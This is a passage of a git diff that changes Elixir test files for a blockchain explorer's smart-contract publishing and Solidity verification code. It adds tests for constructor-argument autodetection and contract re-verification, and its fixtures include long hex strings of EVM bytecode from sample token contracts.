contract_code_info.constructor_args - end - - test "with invalid data returns error changeset" do - address_hash = "" - - invalid_attrs = %{ - "contract_source_code" => "", - "compiler_version" => "", - "name" => "", - "optimization" => "" - } - - assert {:error, %Ecto.Changeset{}} = Publisher.publish(address_hash, invalid_attrs) - end - - test "validates and creates smart contract with external libraries" do - contract_data = - "#{File.cwd!()}/test/support/fixture/smart_contract/contract_with_lib.json" - |> File.read!() - |> Jason.decode!() - |> List.first() - - compiler_version = contract_data["compiler_version"] - external_libraries = contract_data["external_libraries"] - name = contract_data["name"] - optimize = contract_data["optimize"] - contract = contract_data["contract"] - expected_bytecode = contract_data["expected_bytecode"] - tx_input = contract_data["tx_input"] - - contract_address = insert(:contract_address, contract_code: "0x" <> expected_bytecode) - - :transaction - |> insert(created_contract_address_hash: contract_address.hash, input: "0x" <> tx_input) - |> with_block(status: :ok) - - params = %{ - "contract_source_code" => contract, - "compiler_version" => compiler_version, - "name" => name, - "optimization" => optimize - } - - external_libraries_form_params = - external_libraries - |> Enum.with_index() - |> Enum.reduce(%{}, fn {{name, address}, index}, acc -> - name_key = "library#{index + 1}_name" - address_key = "library#{index + 1}_address" - - acc - |> Map.put(name_key, name) - |> Map.put(address_key, address) + describe "publish/2" do + test "with valid data creates a smart_contract" do + contract_code_info = Factory.contract_code_info_modern_compiler() + + contract_address = insert(:contract_address, contract_code: contract_code_info.bytecode) + + :transaction + |> insert(created_contract_address_hash: contract_address.hash, input: contract_code_info.tx_input) + |> with_block(status: :ok) + + valid_attrs = %{ + "contract_source_code" => contract_code_info.source_code, + "compiler_version" => contract_code_info.version, + "name" => contract_code_info.name, + "optimization" => contract_code_info.optimized + } + + response = Publisher.publish(contract_address.hash, valid_attrs) + assert {:ok, %SmartContract{} = smart_contract} = response + + assert smart_contract.address_hash == contract_address.hash + assert smart_contract.name == valid_attrs["name"] + assert smart_contract.compiler_version == valid_attrs["compiler_version"] + assert smart_contract.optimization == valid_attrs["optimization"] + assert smart_contract.contract_source_code == valid_attrs["contract_source_code"] + assert is_nil(smart_contract.constructor_arguments) + assert smart_contract.abi == contract_code_info.abi + end + + test "detects and adds constructor arguments if autodetection is checked" do + path = File.cwd!() <> "/test/support/fixture/smart_contract/solidity_0.5.9_smart_contract.sol" + contract = File.read!(path) + + expected_constructor_arguments = + "00000000000000000000000000000000000000000000003635c9adc5dea000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000a54657374546f6b656e32000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006546f6b656e320000000000000000000000000000000000000000000000000000" + + bytecode = + "0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633177029f116100715780633177029f1461025f57806354fd4d50146102c557806370a082311461034857806395d89b41146103a0578063a9059cbb14610423578063dd62ed3e14610489576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019757806323b872dd146101b5578063313ce5671461023b575b600080fd5b6100b6610501565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061059f565b604051808215151515815260200191505060405180910390f35b61019f610691565b6040518082815260200191505060405180910390f35b610221600480360360608110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610696565b604051808215151515815260200191505060405180910390f35b61024361090f565b604051808260ff1660ff16815260200191505060405180910390f35b6102ab6004803603604081101561027557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610922565b604051808215151515815260200191505060405180910390f35b6102cd610a14565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561030d5780820151818401526020810190506102f2565b50505050905090810190601f16801561033a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61038a6004803603602081101561035e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ab2565b6040518082815260200191505060405180910390f35b6103a8610afa565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103e85780820151818401526020810190506103cd565b50505050905090810190601f1680156104155780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61046f6004803603604081101561043957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b98565b604051808215151515815260200191505060405180910390f35b6104eb6004803603604081101561049f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cfe565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105975780601f1061056c57610100808354040283529160200191610597565b820191906000526020600020905b81548152906001019060200180831161057a57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600090565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610762575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b801561076e5750600082115b1561090357816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610908565b600090505b9392505050565b600460009054906101000a900460ff1681565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aaa5780601f10610a7f57610100808354040283529160200191610aaa565b820191906000526020600020905b815481529060010190602001808311610a8d57829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b905780601f10610b6557610100808354040283529160200191610b90565b820191906000526020600020905b815481529060010190602001808311610b7357829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610be85750600082115b15610cf357816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610cf8565b600090505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490509291505056fea265627a7a723058205538c6fbf4f1885c37cee088edf3832ae2abb038a1a141daaa8b0ce7e9df42d964736f6c63430005090032" + + input = + "0x60806040526040518060400160405280600381526020017f302e3100000000000000000000000000000000000000000000000000000000008152506006908051906020019062000051929190620001e2565b503480156200005f57600080fd5b506040516200105b3803806200105b833981810160405260808110156200008557600080fd5b81019080805190602001909291908051640100000000811115620000a857600080fd5b82810190506020810184811115620000bf57600080fd5b8151856001820283011164010000000082111715620000dd57600080fd5b50509291906020018051906020019092919080516401000000008111156200010457600080fd5b828101905060208101848111156200011b57600080fd5b81518560018202830111640100000000821117156200013957600080fd5b5050929190505050836000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550836002819055508260039080519060200190620001a3929190620001e2565b5081600460006101000a81548160ff021916908360ff1602179055508060059080519060200190620001d7929190620001e2565b505050505062000291565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200022557805160ff191683800117855562000256565b8280016001018555821562000256579182015b828111156200025557825182559160200191906001019062000238565b5b50905062000265919062000269565b5090565b6200028e91905b808211156200028a57600081600090555060010162000270565b5090565b90565b610dba80620002a16000396000f3fe608060405234801561001057600080fd5b50600436106100a95760003560e01c80633177029f116100715780633177029f1461025f57806354fd4d50146102c557806370a082311461034857806395d89b41146103a0578063a9059cbb14610423578063dd62ed3e14610489576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019757806323b872dd146101b5578063313ce5671461023b575b600080fd5b6100b6610501565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061059f565b604051808215151515815260200191505060405180910390f35b61019f610691565b6040518082815260200191505060405180910390f35b610221600480360360608110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610696565b604051808215151515815260200191505060405180910390f35b61024361090f565b604051808260ff1660ff16815260200191505060405180910390f35b6102ab6004803603604081101561027557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610922565b604051808215151515815260200191505060405180910390f35b6102cd610a14565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561030d5780820151818401526020810190506102f2565b50505050905090810190601f16801561033a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61038a6004803603602081101561035e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ab2565b6040518082815260200191505060405180910390f35b6103a8610afa565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103e85780820151818401526020810190506103cd565b50505050905090810190601f1680156104155780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61046f6004803603604081101561043957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b98565b604051808215151515815260200191505060405180910390f35b6104eb6004803603604081101561049f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cfe565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105975780601f1061056c57610100808354040283529160200191610597565b820191906000526020600020905b81548152906001019060200180831161057a57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600090565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610762575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b801561076e5750600082115b1561090357816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610908565b600090505b9392505050565b600460009054906101000a900460ff1681565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aaa5780601f10610a7f57610100808354040283529160200191610aaa565b820191906000526020600020905b815481529060010190602001808311610a8d57829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b905780601f10610b6557610100808354040283529160200191610b90565b820191906000526020600020905b815481529060010190602001808311610b7357829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610be85750600082115b15610cf357816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610cf8565b600090505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490509291505056fea265627a7a723058205538c6fbf4f1885c37cee088edf3832ae2abb038a1a141daaa8b0ce7e9df42d964736f6c63430005090032" + + contract_address = insert(:contract_address, contract_code: bytecode) + + :transaction + |> insert( + created_contract_address_hash: contract_address.hash, + input: input <> expected_constructor_arguments + ) + |> with_block(status: :ok) + + params = %{ + "contract_source_code" => contract, + "compiler_version" => "v0.5.9+commit.e560f70d", + "evm_version" => "petersburg", + "name" => "TestToken", + "optimization" => false, + "autodetect_constructor_args" => "true" + } + + assert {:ok, result} = Publisher.publish(contract_address.hash, params) + assert result.constructor_arguments == expected_constructor_arguments + end + + test "corresponding contract_methods are created for the abi" do + contract_code_info = Factory.contract_code_info_modern_compiler() + + contract_address = insert(:contract_address, contract_code: contract_code_info.bytecode) + + :transaction + |> insert(created_contract_address_hash: contract_address.hash, input: contract_code_info.tx_input) + |> with_block(status: :ok) + + valid_attrs = %{ + "contract_source_code" => contract_code_info.source_code, + "compiler_version" => contract_code_info.version, + "name" => contract_code_info.name, + "optimization" => contract_code_info.optimized + } + + response = Publisher.publish(contract_address.hash, valid_attrs) + assert {:ok, %SmartContract{} = _smart_contract} = response + + Enum.each(contract_code_info.abi, fn selector -> + [parsed] = ABI.parse_specification([selector]) + + assert Repo.get_by(ContractMethod, abi: selector, identifier: %Data{bytes: parsed.method_id}) end) - - response = Publisher.publish(contract_address.hash, params, external_libraries_form_params) - assert {:ok, %SmartContract{} = _smart_contract} = response + end + + test "creates a smart contract with constructor arguments" do + contract_code_info = Factory.contract_code_info_with_constructor_arguments() + + contract_address = insert(:contract_address, contract_code: contract_code_info.bytecode) + + params = %{ + "contract_source_code" => contract_code_info.source_code, + "compiler_version" => contract_code_info.version, + "name" => contract_code_info.name, + "optimization" => contract_code_info.optimized, + "optimization_runs" => contract_code_info.optimization_runs, + "constructor_arguments" => contract_code_info.constructor_args + } + + :transaction + |> insert( + created_contract_address_hash: contract_address.hash, + input: contract_code_info.tx_input + ) + |> with_block(status: :ok) + + response = Publisher.publish(contract_address.hash, params) + assert {:ok, %SmartContract{} = smart_contract} = response + + assert smart_contract.constructor_arguments == contract_code_info.constructor_args + end + + test "with invalid data returns error changeset" do + address_hash = "" + + invalid_attrs = %{ + "contract_source_code" => "", + "compiler_version" => "", + "name" => "", + "optimization" => "" + } + + assert {:error, %Ecto.Changeset{}} = Publisher.publish(address_hash, invalid_attrs) + end + + test "validates and creates smart contract with external libraries" do + contract_data = + "#{File.cwd!()}/test/support/fixture/smart_contract/contract_with_lib.json" + |> File.read!() + |> Jason.decode!() + |> List.first() + + compiler_version = contract_data["compiler_version"] + external_libraries = contract_data["external_libraries"] + name = contract_data["name"] + optimize = contract_data["optimize"] + contract = contract_data["contract"] + expected_bytecode = contract_data["expected_bytecode"] + tx_input = contract_data["tx_input"] + + contract_address = insert(:contract_address, contract_code: "0x" <> expected_bytecode) + + :transaction + |> insert(created_contract_address_hash: contract_address.hash, input: "0x" <> tx_input) + |> with_block(status: :ok) + + params = %{ + "contract_source_code" => contract, + "compiler_version" => compiler_version, + "name" => name, + "optimization" => optimize + } + + external_libraries_form_params = + external_libraries + |> Enum.with_index() + |> Enum.reduce(%{}, fn {{name, address}, index}, acc -> + name_key = "library#{index + 1}_name" + address_key = "library#{index + 1}_address" + + acc + |> Map.put(name_key, name) + |> Map.put(address_key, address) + end) + + response = Publisher.publish(contract_address.hash, params, external_libraries_form_params) + assert {:ok, %SmartContract{} = _smart_contract} = response + end + + test "allows to re-verify solidity contracts" do + contract_code_info = Factory.contract_code_info_modern_compiler() + + contract_address = insert(:contract_address, contract_code: contract_code_info.bytecode) + + :transaction + |> insert(created_contract_address_hash: contract_address.hash, input: contract_code_info.tx_input) + |> with_block(status: :ok) + + valid_attrs = %{ + "contract_source_code" => contract_code_info.source_code, + "compiler_version" => contract_code_info.version, + "name" => contract_code_info.name, + "optimization" => contract_code_info.optimized + } + + response = Publisher.publish(contract_address.hash, valid_attrs) + assert {:ok, %SmartContract{}} = response + + updated_name = "AnotherContractName" + + updated_contract_source_code = + String.replace( + valid_attrs["contract_source_code"], + "contract #{valid_attrs["name"]}", + "contract #{updated_name}" + ) + + valid_attrs = + valid_attrs + |> Map.put("name", updated_name) + |> Map.put("contract_source_code", updated_contract_source_code) + + response = Publisher.publish(contract_address.hash, valid_attrs) + assert {:ok, %SmartContract{} = smart_contract} = response + + assert smart_contract.name == valid_attrs["name"] + assert smart_contract.contract_source_code == valid_attrs["contract_source_code"] + end end end end diff --git a/apps/explorer/test/explorer/smart_contract/solidity/verifier_test.exs b/apps/explorer/test/explorer/smart_contract/solidity/verifier_test.exs index de88ece88325..4880da3fba9c 100644 --- a/apps/explorer/test/explorer/smart_contract/solidity/verifier_test.exs +++ b/apps/explorer/test/explorer/smart_contract/solidity/verifier_test.exs @@ -2,1271 +2,1289 @@ defmodule Explorer.SmartContract.Solidity.VerifierTest do use ExUnit.Case, async: true use Explorer.DataCase - @moduletag timeout: :infinity - - doctest Explorer.SmartContract.Solidity.Verifier - - alias Explorer.Chain.Data - alias Explorer.SmartContract.Solidity.Verifier - alias Explorer.Factory - - @code_0_4 """ - pragma solidity ^0.4.0; - contract Incrementer { - event Incremented(address indexed sender, uint256 newValue); - uint256 public value; - address public lastSender; - constructor(uint256 initialValue) public { - value = initialValue; - lastSender = msg.sender; - } - function inc(uint256 delta) public { - value = value + delta; - lastSender = msg.sender; - } - } - """ - - @code_0_5 """ - pragma solidity ^0.5.0; - contract Incrementer { - event Incremented(address indexed sender, uint256 newValue); - uint256 public value; - address public lastSender; - constructor(uint256 initialValue) public { - value = initialValue; - lastSender = msg.sender; - } - function inc(uint256 delta) public { - value = value + delta; - lastSender = msg.sender; - } - } - """ - - @code_0_6 """ - pragma solidity ^0.6.0; - contract Incrementer { - event Incremented(address indexed sender, uint256 newValue); - uint256 public value; - address public lastSender; - constructor(uint256 initialValue) public { - value = initialValue; - lastSender = msg.sender; - } - function inc(uint256 delta) public { - value = value + delta; - lastSender = msg.sender; - } - } - """ - - describe "evaluate_authenticity/2" do + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + if @chain_type == :default do + @moduletag timeout: :infinity + + doctest Explorer.SmartContract.Solidity.Verifier + + alias Explorer.Chain.Data + alias Explorer.SmartContract.Solidity.Verifier + alias Explorer.Factory + + @optimization_runs 200 + + @code_0_4 """ + pragma solidity ^0.4.0; + contract Incrementer { + event Incremented(address indexed sender, uint256 newValue); + uint256 public value; + address public lastSender; + constructor(uint256 initialValue) public { + value = initialValue; + lastSender = msg.sender; + } + function inc(uint256 delta) public { + value = value + delta; + lastSender = msg.sender; + } + } + """ + + @code_0_5 """ + pragma solidity ^0.5.0; + contract Incrementer { + event Incremented(address indexed sender, uint256 newValue); + uint256 public value; + address public lastSender; + constructor(uint256 initialValue) public { + value = initialValue; + lastSender = msg.sender; + } + function inc(uint256 delta) public { + value = value + delta; + lastSender = msg.sender; + } + } + """ + + @code_0_6 """ + pragma solidity ^0.6.0; + contract Incrementer { + event Incremented(address indexed sender, uint256 newValue); + uint256 public value; + address public lastSender; + constructor(uint256 initialValue) public { + value = initialValue; + lastSender = msg.sender; + } + function inc(uint256 delta) public { + value = value + delta; + lastSender = msg.sender; + } + } + """ + setup do - {:ok, contract_code_info: Factory.contract_code_info()} + configuration = Application.get_env(:explorer, Explorer.SmartContract.RustVerifierInterfaceBehaviour) + Application.put_env(:explorer, Explorer.SmartContract.RustVerifierInterfaceBehaviour, enabled: false) + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + on_exit(fn -> + Application.put_env(:explorer, Explorer.SmartContract.RustVerifierInterfaceBehaviour, configuration) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) end - test "verifies the generated bytecode against bytecode retrieved from the blockchain", %{ - contract_code_info: contract_code_info - } do - contract_address = insert(:contract_address, contract_code: contract_code_info.bytecode) - - :transaction - |> insert(created_contract_address_hash: contract_address.hash, input: contract_code_info.tx_input) - |> with_block(status: :ok) + describe "evaluate_authenticity/2" do + setup do + {:ok, contract_code_info: Factory.contract_code_info()} + end - params = %{ - "contract_source_code" => contract_code_info.source_code, - "compiler_version" => contract_code_info.version, - "name" => contract_code_info.name, - "optimization" => contract_code_info.optimized - } + test "verifies the generated bytecode against bytecode retrieved from the blockchain", %{ + contract_code_info: contract_code_info + } do + contract_address = insert(:contract_address, contract_code: contract_code_info.bytecode) - assert {:ok, %{abi: abi}} = Verifier.evaluate_authenticity(contract_address.hash, params) - assert abi != nil - end - - test "verifies the generated bytecode with external libraries" do - contract_data = - "#{File.cwd!()}/test/support/fixture/smart_contract/contract_with_lib.json" - |> File.read!() - |> Jason.decode!() - |> List.first() - - compiler_version = contract_data["compiler_version"] - external_libraries = contract_data["external_libraries"] - name = contract_data["name"] - optimize = contract_data["optimize"] - contract = contract_data["contract"] - expected_bytecode = contract_data["expected_bytecode"] - tx_input = contract_data["tx_input"] - - contract_address = insert(:contract_address, contract_code: "0x" <> expected_bytecode) - - :transaction - |> insert(created_contract_address_hash: contract_address.hash, input: "0x" <> tx_input) - |> with_block(status: :ok) - - params = %{ - "contract_source_code" => contract, - "compiler_version" => compiler_version, - "name" => name, - "optimization" => optimize, - "external_libraries" => external_libraries - } - - assert {:ok, %{abi: abi}} = Verifier.evaluate_authenticity(contract_address.hash, params) - assert abi != nil - end - - test "verifies smart contract with new `whisper` metadata (bzz0 => bzz1) in solidity 0.5.11" do - contract_data = - "#{File.cwd!()}/test/support/fixture/smart_contract/solidity_5.11_new_whisper_metadata.json" - |> File.read!() - |> Jason.decode!() - - compiler_version = contract_data["compiler_version"] - name = contract_data["name"] - optimize = false - contract = contract_data["contract"] - expected_bytecode = contract_data["bytecode"] - evm_version = contract_data["evm_version"] - input = contract_data["input"] - - contract_address = insert(:contract_address, contract_code: "0x" <> expected_bytecode) - - :transaction - |> insert( - created_contract_address_hash: contract_address.hash, - input: "0x" <> input - ) - |> with_block(status: :ok) - - params = %{ - "contract_source_code" => contract, - "compiler_version" => compiler_version, - "evm_version" => evm_version, - "name" => name, - "optimization" => optimize - } - - assert {:ok, %{abi: abi}} = Verifier.evaluate_authenticity(contract_address.hash, params) - assert abi != nil - end + :transaction + |> insert(created_contract_address_hash: contract_address.hash, input: contract_code_info.tx_input) + |> with_block(status: :ok) + + params = %{ + "contract_source_code" => contract_code_info.source_code, + "compiler_version" => contract_code_info.version, + "name" => contract_code_info.name, + "optimization" => contract_code_info.optimized + } + + assert {:ok, %{abi: abi}} = Verifier.evaluate_authenticity(contract_address.hash, params) + assert abi != nil + end + + test "verifies the generated bytecode with external libraries" do + contract_data = + "#{File.cwd!()}/test/support/fixture/smart_contract/contract_with_lib.json" + |> File.read!() + |> Jason.decode!() + |> List.first() + + compiler_version = contract_data["compiler_version"] + external_libraries = contract_data["external_libraries"] + name = contract_data["name"] + optimize = contract_data["optimize"] + contract = contract_data["contract"] + expected_bytecode = contract_data["expected_bytecode"] + tx_input = contract_data["tx_input"] + + contract_address = insert(:contract_address, contract_code: "0x" <> expected_bytecode) - test "verifies smart contract and ignores not needed constructor arguments", %{ - contract_code_info: contract_code_info - } do - contract_address = insert(:contract_address, contract_code: contract_code_info.bytecode) - - constructor_arguments = "0102030405" - - params = %{ - "contract_source_code" => contract_code_info.source_code, - "compiler_version" => contract_code_info.version, - "name" => contract_code_info.name, - "optimization" => contract_code_info.optimized, - "constructor_arguments" => constructor_arguments - } - - :transaction - |> insert( - created_contract_address_hash: contract_address.hash, - input: contract_code_info.tx_input - ) - |> with_block(status: :ok) - - assert {:ok, %{abi: abi}} = Verifier.evaluate_authenticity(contract_address.hash, params) - assert abi != nil - end + :transaction + |> insert(created_contract_address_hash: contract_address.hash, input: "0x" <> tx_input) + |> with_block(status: :ok) + + params = %{ + "contract_source_code" => contract, + "compiler_version" => compiler_version, + "name" => name, + "optimization" => optimize, + "external_libraries" => external_libraries + } + + assert {:ok, %{abi: abi}} = Verifier.evaluate_authenticity(contract_address.hash, params) + assert abi != nil + end + + test "verifies smart contract with new `whisper` metadata (bzz0 => bzz1) in solidity 0.5.11" do + contract_data = + "#{File.cwd!()}/test/support/fixture/smart_contract/solidity_5.11_new_whisper_metadata.json" + |> File.read!() + |> Jason.decode!() + + compiler_version = contract_data["compiler_version"] + name = contract_data["name"] + optimize = false + contract = contract_data["contract"] + expected_bytecode = contract_data["bytecode"] + evm_version = contract_data["evm_version"] + input = contract_data["input"] + + contract_address = insert(:contract_address, contract_code: "0x" <> expected_bytecode) - test "tries to compile with the latest evm version if wrong evm version was provided" do - bytecode = - "0x6060604052341561000f57600080fd5b604051602080610223833981016040528080519060200190919050505b8060008190555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b505b61019d806100866000396000f30060606040526000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063256fec88146100545780633fa4f245146100a9578063812600df146100d2575b600080fd5b341561005f57600080fd5b6100676100f5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156100b457600080fd5b6100bc61011b565b6040518082815260200191505060405180910390f35b34156100dd57600080fd5b6100f36004808035906020019091905050610121565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b806000540160008190555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b505600a165627a7a723058201de7017582ff17d45730bc9aedeac5b399399b71b188f42a164609c1b6f7f4760029" - - constructor_arguments = "000000000000000000000000000000000000000000000000000000000000000a" - - contract_address = insert(:contract_address, contract_code: bytecode) - - :transaction - |> insert( - created_contract_address_hash: contract_address.hash, - input: bytecode <> constructor_arguments - ) - |> with_block(status: :ok) - - code = """ - pragma solidity ^0.4.15; - contract Incrementer 